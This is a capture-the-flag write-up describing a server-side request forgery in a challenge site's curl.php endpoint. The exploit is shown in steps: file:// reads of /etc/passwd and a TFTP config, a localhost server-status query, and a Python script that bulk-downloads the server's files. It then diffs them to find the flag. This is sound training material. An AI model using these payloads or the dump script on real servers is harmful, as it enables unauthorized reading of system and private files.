This was the challenge’s description:
Hi guy !
Hi !
Are you still working on your famous game?
Yes of course, I made some modifications to make it more fun.
Can I take a look at it?
No, I prefer to keep it on my file server. Sorry ;)
And this was the website, which as you can see is rather basic : there’s just one input, waiting for an url, and the post button. The post is actually doing a curl with the value passed in the way
param: /curl.php?way=<url>
After some tests, we noticed that we could read server files with the ftp://
or file://
commands. Like that: curl.php?way=file:///etc/passwd
.
Great, looks like a SSRF.
We kept looking and found one interesting file curl.php?way=file:///etc/default/tftpd-hpa
:
# /etc/default/tftpd-hpa TFTP_USERNAME="tftp" TFTP_DIRECTORY="/home/CoinGame" TFTP_ADDRESS="0.0.0.0:69" TFTP_OPTIONS="--secure —create"
It seems like the “game” was transfered on the server through FTP, in the “/home/CoinGame” directory.
We tried to find some logfiles that might have helped us find files but we unfortunately found nothing. After a while, We found that a server-status was actually installed on curl.php?way=http://localhost/server-status
Between the spam of requests, we found some weird queries like: curl.php?way=file:///home/CoinGame/TouchMonsterFiles.py
. We tried and boom, it worked. It looks like it was the game from the description. We searched for the code on the internet, and we quickly found the repo on Github.
After digging the server for a while, we didn’t find anything interesting. So we decided to dump the project locally and make a diff
between the 2 games through a script (don’t mind the code pls). list
was a file containing the list of all the files of the project:
import os
import wget
url = 'http://coingame.challs.malice.fr/curl.php?way=file:///home/CoinGame/'
out = '/tmp/out/'
with open('list') as f: # create the directories
for line in f:
dirname = os.path.dirname(out + line)
if not os.path.exists(dirname):
try:
os.makedirs(dirname)
except Exception as e:
pass
with open('list') as f: # download the files
for line in f:
line = line.rstrip()
try:
wget.download(url + line, out=out + line)
except Exception as e:
print(e)
pass
Once it was downloaded, we just had to make a diff between the 2 folders:
diff --brief -r CoinGame/ /tmp/out/
Files CoinGame/Avatars/ArchmageAntonidusHearthstone#.png and /tmp/out/Avatars/ArchmageAntonidusHearthstone#.png differ
Files CoinGame/Avatars/ChefOgre#.png and /tmp/out/Avatars/ChefOgre#.png differ
Files CoinGame/Avatars/Chevalier_noir#.png and /tmp/out/Avatars/Chevalier_noir#.png differ
Only in /tmp/out/Avatars: curl.php
Files CoinGame/Avatars/Demon#.png and /tmp/out/Avatars/Demon#.png differ
Files CoinGame/Avatars/ForetSauvage#.png and /tmp/out/Avatars/ForetSauvage#.png differ
Files CoinGame/Avatars/Gobelin#.png and /tmp/out/Avatars/Gobelin#.png differ
Files CoinGame/Avatars/Legion#.png and /tmp/out/Avatars/Legion#.png differ
Files CoinGame/Avatars/LeRoi#.png and /tmp/out/Avatars/LeRoi#.png differ
Files CoinGame/Avatars/MaitreOmbre#.png and /tmp/out/Avatars/MaitreOmbre#.png differ
Files CoinGame/Avatars/poseidon#.png and /tmp/out/Avatars/poseidon#.png differ
Files CoinGame/Avatars/RobotAlpha#.png and /tmp/out/Avatars/RobotAlpha#.png differ
Files CoinGame/Avatars/Roi_des_Nains#.png and /tmp/out/Avatars/Roi_des_Nains#.png differ
Files CoinGame/Avatars/SeigneurDragon#.png and /tmp/out/Avatars/SeigneurDragon#.png differ
Files CoinGame/Avatars/SeigneurNoir#.png and /tmp/out/Avatars/SeigneurNoir#.png differ
Files CoinGame/Avatars/Vikings#.png and /tmp/out/Avatars/Vikings#.png differ
Only in /tmp/out/CardFiles: curl.php
Only in /tmp/out/Cards: curl.php
Only in /tmp/out/Decks: curl.php
Only in /tmp/out: dump.txt
Files CoinGame/gameAnimationImages/background1.png and /tmp/out/gameAnimationImages/background1.png differ
Files CoinGame/gameAnimationImages/background2.png and /tmp/out/gameAnimationImages/background2.png differ
Files CoinGame/gameAnimationImages/background3.png and /tmp/out/gameAnimationImages/background3.png differ
Files CoinGame/gameAnimationImages/background.png and /tmp/out/gameAnimationImages/background.png differ
Files CoinGame/gameAnimationImages/Card_face_avant_black.gif and /tmp/out/gameAnimationImages/Card_face_avant_black.gif differ
Files CoinGame/gameAnimationImages/Card_face_avant_blue.gif and /tmp/out/gameAnimationImages/Card_face_avant_blue.gif differ
Files CoinGame/gameAnimationImages/Card_face_avant.gif and /tmp/out/gameAnimationImages/Card_face_avant.gif differ
Files CoinGame/gameAnimationImages/Card_face_avant.jpg and /tmp/out/gameAnimationImages/Card_face_avant.jpg differ
Files CoinGame/gameAnimationImages/Card_face_avant_v3.gif and /tmp/out/gameAnimationImages/Card_face_avant_v3.gif differ
Files CoinGame/gameAnimationImages/Card_face_avant_v3.jpg and /tmp/out/gameAnimationImages/Card_face_avant_v3.jpg differ
Files CoinGame/gameAnimationImages/Card_face_avant_v4.gif and /tmp/out/gameAnimationImages/Card_face_avant_v4.gif differ
Files CoinGame/gameAnimationImages/Card_face_avant_v4.jpg and /tmp/out/gameAnimationImages/Card_face_avant_v4.jpg differ
Only in /tmp/out/gameAnimationImages: curl.php
Only in CoinGame/: .git
Only in CoinGame/photo: bebe-dragon (1).jpg
Only in /tmp/out/photo: curl.php
Only in CoinGame/photo: Demon cornu.jpg
Only in CoinGame/photo: Drag
Only in CoinGame/photo: mangeur de crapau.jpg
Only in CoinGame/photo: Moderne
Only in CoinGame/photo: New
Only in CoinGame/photo: Ogres
Only in CoinGame/photo: petit etre_7247.jpg
Only in CoinGame/photo: portail demoniaque.jpg
Only in CoinGame/photo: portail oblivion.jpg
Only in CoinGame/photo: reve
Only in CoinGame/photo: serpents tournants.jpg
Only in CoinGame/photo: Source de vie.jpg
We quickly checked every image and we saw the actual flag on all backgroundX.png
:
Done :)